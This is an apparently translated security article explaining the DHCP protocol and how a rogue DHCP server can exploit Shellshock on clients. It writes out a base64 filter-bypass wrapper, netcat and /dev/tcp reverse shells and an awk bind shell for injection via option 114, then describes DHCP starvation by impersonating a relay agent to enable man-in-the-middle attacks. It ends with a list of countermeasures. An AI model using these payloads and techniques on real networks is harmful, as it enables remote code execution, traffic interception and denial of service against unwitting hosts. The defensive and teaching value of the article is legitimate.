We attack DHCP

In this article we will explain how to exploit ShellShock on a DHCP client and get a full-fledged reverse or bind shell on it. The Internet is replete with articles telling about the shellshock exploitation possibilities on DHCP clients. There are even articles on how to get a reverse shell on a DHCP client. However, we have not yet met a stable and universally working tool for getting the shell. Those who are in the subject may not see the new one here, but it is possible that you might be interested to know how we managed to automate the receipt of reverse and bind shell in terms of filtering and escaping characters on the DHCP client side. In addition, we will talk about what might be the most interesting about DHCP.

DHCP is used to automatically assign an IP address, default gateway, DNS server, etc. As a transport, this protocol uses UDP, which means that we can replace all fields of interest in the network packet without any problems, starting with the data link layer: source MAC address, source IP address, source ports — that is, everything we want

DHCP works, in a nutshell , like that:

1. DHCPDISCOVER The client sends a broadcast network packet in order to find a DHCP server on the network, while with the data link layer everything is clear and we will not write further about it, the network one is based on our own experience, there can be anything here depending on the client, but it should be:
   
   SRC IP: 0.0.0.0, DST IP: 255.255.255.255.
   At the transport level, all requests are sent as follows:
   SRC PORT: 68, DST PORT: 67
   Accordingly, when the server responds to the client:
   SRC PORT: 67, DST PORT: 68
   
   UDP checksum can not be considered. We have not met a single DHCP server that would check it, and the network equipment passes packets with zero UDP checksum without any problems. In the first byte of the application level (op field - message type) the client sets the value - 0x01 (BOOTREQUEST - request from the client to the server). We will not stop on the remaining fields of the packet, since their description, length and values ​​are in the RFC and in WIKI . In the request from the client, we are also interested in the xid field (Transaction ID is a random number of 4 bytes at the offset 0x04 from the beginning of the application level in the packet). If the server in the response sets the xid field not equal to the client's xid, then the client will discard the response from the server, as it considers that this response is in another transaction. Let us dwell on the DHCP options of the package. A total of 256, and a complete list can be found here or here . The client must set the option with code 53 ( DHCP message type type of DHCP message) equal to 0x01 , this means that this packet is intended to find the DHCP server, and option 55 ( Parameter Request List list of parameters requested from the server, for example, gateway address, subnet mask , DNS servers, etc.).
   
   This is what this request in WireShark looks like:
   ')
   

   
   

2. DHCPOFFER The server receives the request from the client and sends it an offer. At the network level, the server sets its IP address as the SRC IP, the DST IP should be: 255.255.255.255, but this is not always the case. The DST IP can also be set to the IP address allocated to the client, or the IP address of the repeater, if it participates in the process. You ask, how does the packet reach the client if he does not have an IP address yet? It's simple: in the DHCPDISCOVER and DHCPREQUEST requests, the client specifies its MAC address in the chaddr (Client MAC address) field.
   
   Thus, the server or relay knows where to deliver the packet on the data link layer, since the server or relay is always within the same broadcast domain with the client, and what happens at the network level is not so important. UDP magic . In the message type, the value is 0x02 (BOOTREPLY is the server's response to the client). In the xid field , set the value equal to the value of the xid field in the client's request. In the field yiaddr (Your (client) IP address) set the IP-address of the client, the proposed server. What appears in the DHCP options: in option with code 53 ( DHCP message type ), the value is 0x02 (DHCPOFFER), code 51 ( IP Address Lease Time ) - IP address lease time, code 54 ( Server Identifier ) - DHCP IP address -server. All other offer options depend on the parameters requested by the client, the client list is specified in the DHCPDISCOVER request in option 55 ( Parameter Request List ).
   
   

   
   

3. DHCPREQUEST The client sends a request for network parameters to the server. At the network level, it should be like this: SRC IP: 0.0.0.0 DST IP: 255.255.255.255 but maybe so: the SRC IP is set to the IP address that the server assigned in its offer (the yiaddr field), and the DST IP is set to IP -address, which is located in the offer option of the server with the code 54 ( Server Identifier ). The DHCP options in this request are no different from the DHCPDISCOVER request, with the exception of the option with code 53 ( DHCP message type DHCP message type ) equal to 003 - this means that this packet is intended to request parameters from the DHCP server. And the client also adds an option with a code 54 ( Server Identifier ) to the request, since he already knows the IP address of the server, as well as an option with a code 50 ( Requested IP address ). In addition, the client can set option 12 ( Host Name Option to their own host name), etc.
   
   

   
   
4. DHCPACK Server sends a confirmation to the client. At the network level, it should be like this: SRC IP: <IP- > DST IP: 255.255.255.255 . The options and fields of this packet do not differ from DHCPOFFER, with the exception of the option with code 53 ( DHCP message type type of DHCP message) equal to 005 - this means that this packet is a confirmation from the DHCP server.
   
   

Further, the client using the ARP protocol tries to detect a conflict of IP addresses in the local network ( Address Conflict Detection ). If no conflict is found, the client sets the parameters received from the DHCPACK to the network interface. If it is found, the client sends out a broadcast DHCP reject message DHCPDECLINE , after which the procedure for obtaining an IP address is repeated.

Also, DHCP has another feature: if a client previously sent a DHCPDISCOVER request, then when it reconnects to the same network, the client immediately sends a DHCPREQUEST ; while in the DHCP options with code 50 ( Requested IP address ), the IP address obtained earlier is set.

Let's stop on mentioned DHCPDECLINE in more detail. In practice, it looks like this:

1. The client sends a DHCPREQUEST because it has already connected to this network. Transaction ID: 0x825b824a; Requested IP: 192.168.1.171; Client MAC address: 08:00:27:ce:7a:64
   
   

   
   

2. The server responds with a DHCPACK .
   Transaction ID: 0x825b824a; yiaddr: 192.168.1.171; siaddr: 192.168.1.1; router: 192.168.1.1
   

   
   

3. The client uses the ARP protocol to find out the MAC address of the gateway, and then, through the same ARP , tries to detect a conflict of IP addresses in the local network ( Address Conflict Detection ). The query looks like this:
   
   sender mac: 08:00:27:ce:7a:64; sender ip: 0.0.0.0; target mac: 00:00:00:00:00:00; target ip: 192.168.1.171
   
   

   
   

4. The host with the IP address 192.168.1.171 responds to the ARP request.
   
   

   
   

5. The client has detected a conflict of IP addresses on the network and sends a broadcast DHCPDECLINE .
   
   Transaction ID: 0x825b824a; Requested IP: 192.168.1.171; ciaddr: 192.168.1.171
   
   

   
   
6. The procedure for obtaining an IP address is repeated, but with a different Transaction ID: 0x713a0fe7 . Did you notice the packages with numbers 89, 101, 106, 136 and 151? If yes, then they probably understood that this time the server allocated the client’s IP address 192.168.1.172 and before that the DHCP server itself using the same ARP (packets with numbers 89, 101, 106: Who has 192.168.1.172? Tell 192.168.1.1 ) made sure that the IP address 192.168.1.172 is free, and only then sent a DHCPOFFER . After that, the client once again tried to identify the conflict of IP addresses (packets with numbers 136, 151: Who has 192.168.1.172? Tell 0.0.0.0 ).
   
   

We already know that a client, having connected to the network at least once, will only send a DHCPREQUEST request, putting the previously received IP address into the Requested IP address. But what if the DHCP server has already allocated this IP address, has the configuration or address changed, and the server cannot give this address to the client? For this, there is a DHCPNAK message type. It works as follows:

1. The client sends a DHCPREQUEST .
   Transaction ID: 0xa7ddc5cb; Requested IP: 192.168.1.14
   
   

   
   

2. The server settings specify the range in which it can allocate an IP address, but the one requested by the client is not included in this range, therefore the server sends a DHCPNAK .
   Transaction ID: 0xa7ddc5cb; Message: address not available
   
   

   
   
3. The procedure for obtaining an IP address is repeated, but with a different Transaction ID: 0xcfbf77a9 .
   
   

Let's go to shellshock

There is no point in writing how and why shellshock works, because this vulnerability is one of the most popular, and there are a great many articles about it. It is better to dwell on the moment how to get the shell on the DHCP client, in case we act as a DHCP server.

Which fields and options can I inject?

Answer: almost any! Here is a list of DHCP option codes that can be injected into (checked on CentOS 6.5 NetworkManager): 14 , 18 , 43 , 56 , 60 , 61 , 62 , 63 , 64 , 66 , 67 , 77 , 80 , 82 , 83 , 84 , 86 , 87 , 90 , 94 , 95 , 96 , 97 , 98 , 99 , 100 , 101 , 102 , 103 , 104 , 105 , 106 , 107 , 108 , 109 , 110 , 111 , 113 , 114 , 115 , 116 , 117 , 120 , 122 , 123 , 124 , 125 , 126 , 127 , 128 , 129 , 130 , 131 , 132 , 133 , 134 , 135 , 136 , 137 , 138 , 139 , 140 , 141 , 142 , 143 , 144 , 145 , 146 , 147 , 148 , 149 , 150 , 151 , 152 , 153 , 154 , 155 , 156 , 157 , 158 , 159 , 160 , 161 , 162 , 163 , 164 , 165 , 166 , 167 , 168 , 169 , 170 , 171 , 172 , 173 , 174 , 175 , 176 , 177 , 178 , 179 , 180 , 181 , 182 , 183 , 184 , 185 , 186 , 187 , 188 , 189 , 190 , 191 , 192 , 193 , 194 , 195 , 196 , 198 , 199 , 200 , 201 , 202 , 203 , 204 , 205 , 206 , 207 , 208 , 209 , 210 , 211 , 212 , 213 , 214, 215, 216, 217, 218, 219 , 220 , 22 1 , 222 , 223 , 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 250, 251, 253.

In our PoC, we will use the DHCP option code 114 ( URL ). Why? Because its length is variable (maximum length is 256 bytes), and also because everyone uses it. Her description is still here . There is even an article about how to upgrade vulnerable to shellshock systems with this option :)

What are our limitations?

The answer: there are many, too many!

1. Length - 256 bytes
2. It is possible to use only interpreter commands.
3. A big restriction on the characters used: some are filtered, some are escaped. It depends on the DHCP client. Here is a set of characters that you can't use everywhere: "';&|
4. After the command is executed, the IPv4 address may not be assigned, in which case it is possible to use the IPv6 link-local-address if IPv6 is not enabled on the interface
5. You must use absolute paths, otherwise the command may not be executed.

And then what to do?

Answer: bypass restrictions!
To bypass the filter, we must execute all with one command. Let's do it like this:

 /bin/sh <(/usr/bin/base64 -d <<< Base64String) 

Here, the input of the interpreter / bin / sh is the output of / usr / bin / base64 , which decodes the string Base64String . Thus, we have already used 34 bytes, the length of Base64String should not exceed 222 bytes.

And what will happen in Base64String? Do not forget about the fourth restriction, so first of all, set the IP address of the interface with the command:

 /bin/ip addr add <IP>/<MASK> dev eth0; 

This command imposes one more restriction on us: we need to know the name of the interface to which we assign an IP address. By default, in older versions of Linux, which still have a shellshock, the first network interface is called eth0 , so we are guided by it. Back in this line we have to put a reverse shell or bind shell.

For reverse shell we will use the standard shell using nc:

 nc -e /bin/sh <IP> <PORT> 2>&1 & rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PORT> >/tmp/f & 

For reverse shell, you can also use the command from here :

 /bin/bash -i >& /dev/tcp/<IP>/<PORT> 0>&1 

For the bind shell, we will use / cmd / unix / bind_awk from Metasploit , as one of the shortest:

 awk 'BEGIN{s="/inet/tcp/<PORT>/0/0";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' & 

Poc

Video:

Still Little about DHCP

In no case, DHCP should not be considered solely as a method of obtaining RCE on clients, because, first, we must respond faster than the real DHCP server on the network, and, second, the client must have a shellshock, which is unlikely. DHCP should first be considered as a method for implementing MITM .

Let's talk about how to respond to any request faster than the DHCP server. The most obvious option is to be closer to the client by the location in the network, and our hardware and algorithm should work faster. However, in most cases this is not the case.

There is a second option: you need to load the server, but do not take up new IP addresses on the network, in order not to exhaust the entire pool of free addresses (this attack is called DHCP starvation). As you already understood, you need to send a large number of DHCPDISCOVER requests, since the server must process each one of them and send a DHCPOFFER in response. However, we will not send a DHCPREQUEST as part of this transaction, so the server will wait for it. The IP address will not be considered allocated because the procedure for obtaining the IP is not completed.

Let's see how it looks in practice.

Load graphs and processes before sending DHCPDISCOVER requests:

The figures show that the load average of the router ranges from 0.1 to 0.3, and the dnsmasq process takes 0% CPU.

Load graphs, processes and list of DHCP clients during the sending of DHCPDISCOVER requests:

The load average of the router has increased to 1.96, and it no longer has time to respond to all DHCPDISCOVER requests, the dnsmasq process takes up as much as 64% of the CPU, but only our host is on the DHCP client list.

As a result, we and the server loaded a little, and did not occupy IP addresses. If we filter out all the DHCPDISCOVER requests that we have generated, it is likely that we will respond faster than the real DHCP server will increase significantly. The task is completed, go ahead.

Now let's talk about the types of DHCP messages :

We have already disassembled the first six types of messages, there are only two left: the seventh (DHCPRELEASE) and the eighth (DHCPINFORM). Let us dwell on them in more detail.

The client may explicitly terminate the lease of the IP address. To do this, it sends a DHCPRELEASE address lease release message to the server that provided the address earlier. Unlike other messages, it is not broadcast.

The DHCPINFORM information message is intended to define additional network parameters for those clients whose IP address is manually configured. Based on our experience, we can say that only Windows hosts send such messages :(. The server responds to a similar DHCPACK request without allocating an IP address. There is your own rfc project for these messages. You already understand that we can put your gateway in DHCPACK , DNS, etc. The main thing is to respond before the real DHCP server, and this problem has already been solved above.

DHCP starvation & DHCP relay agent

In this article, we mentioned about the DHCP starvation attack - the exhaustion of the pool of free IP addresses. There is an opinion that it is possible to conduct this attack by sending only a large number of DHCPDISCOVER or DHCPREQUEST requests from random MAC addresses, and then the DHCP server will allocate and reserve an IP address for each such request, but this is not always the case. As we already know, the procedure for obtaining and reserving an IP address ends when the DHCP server sends a DHCPACK message. It is most correct to carry out this attack, posing as a DHCP relay agent .

Let's give an example:

1. Our network interface is enp0s3 with a MAC address: 08: 00: 27: 6a: 82: 5f and an IP address: 192.168.1.2 . Dnsmasq / 2.73 from OpenWrt Chaos Calmer 15.05.1 will act as the DHCP server . 15.05.1 IP-address: 192.168.1.1
   
   
   
   
   

   
   
2. We start sending requests:
   
   
   
   

Thus, we will forget the entire pool of free IP addresses, and a legitimate DHCP client will be able to get an IP address from this DHCP server only after 12 hours . While a legitimate DHCP server cannot send responses to clients, we can do this!

How it works:

1. We form and send a broadcast DHCPDISCOVER-request, at the same time we present ourselves as the DHCP relay agent. In the giaddr (Relay agent IP) field, we indicate our IP address 192.168.1.2 , in the chaddr (Client MAC address) field - random MAC 00: 19: bb: f5: e7: a8 , while at the data link layer in SRC MAC we set our MAC address.
   
   

   
   

2. The server responds with a DHCPOFFER message to the relay agent (us), and offers the client with the MAC address 00: 19: bb: f5: e7: a8 IP address 192.168.1.232
   
   

   
   

3. After receiving the DHCPOFFER, we send a broadcast DHCPREQUEST request, while in the DHCP option with code 50 ( Requested IP address ), we set the IP address 192.168.1.232 offered to the client, in the option with code 12 ( Host Name Option ) we set a random line. Important: the xid (Transaction ID) and chaddr (Client MAC address) fields in DHCPREQUEST and DHCPDISCOVER must be the same, otherwise the server will reject the request, because it will look like another transaction from the same client, or another client with the same transaction.
   
   

   
   
4. The server sends a DHCPACK message to the relay agent. From this point on, the IP address 192.168.1.232 is considered reserved for the client with the MAC address 00: 19: bb: f5: e7: a8 for 12 hours (the default lease time).
   
   

findings

Ways to counter:

1. DHCP snooping is a switch function designed to protect against attacks using DHCP. For example, attacks with the substitution of a DHCP server on the network;

   
   

2. Port security is a switch function that allows you to specify the MAC addresses of hosts that are allowed to transmit data through the port. After that, the port does not transmit packets if the sender's MAC address is not specified as allowed;

   
   

3. Setting up network equipment to limit the number of DHCPDISCOVER and DHCPREQUEST requests from a single MAC address and / or IP address;

   
   

4. Record and analyze network traffic to track anomalies. For example, the usual number of DHCP requests on your network does not exceed 100–200 per day, and during a DHCP starvation attack, their number increases many times. Another example: in your network, usually the number of DHCP responses does not exceed the number of DHCP requests, and now the number of DHCP responses has doubled the number of DHCP requests. This means that someone makes an attack with the substitution of a DHCP server;

   
   

5. Using IDS , IPS , SIEM and Zabbix type equipment monitoring systems;

   
   

6. If possible, use static MAC - IP binding on a DHCP server;

   
   

7. Use DHCP relays and DHCP servers supporting DHCP option code 82 ;

   
   
8. Continuous software updates. You can update the hosts and so :)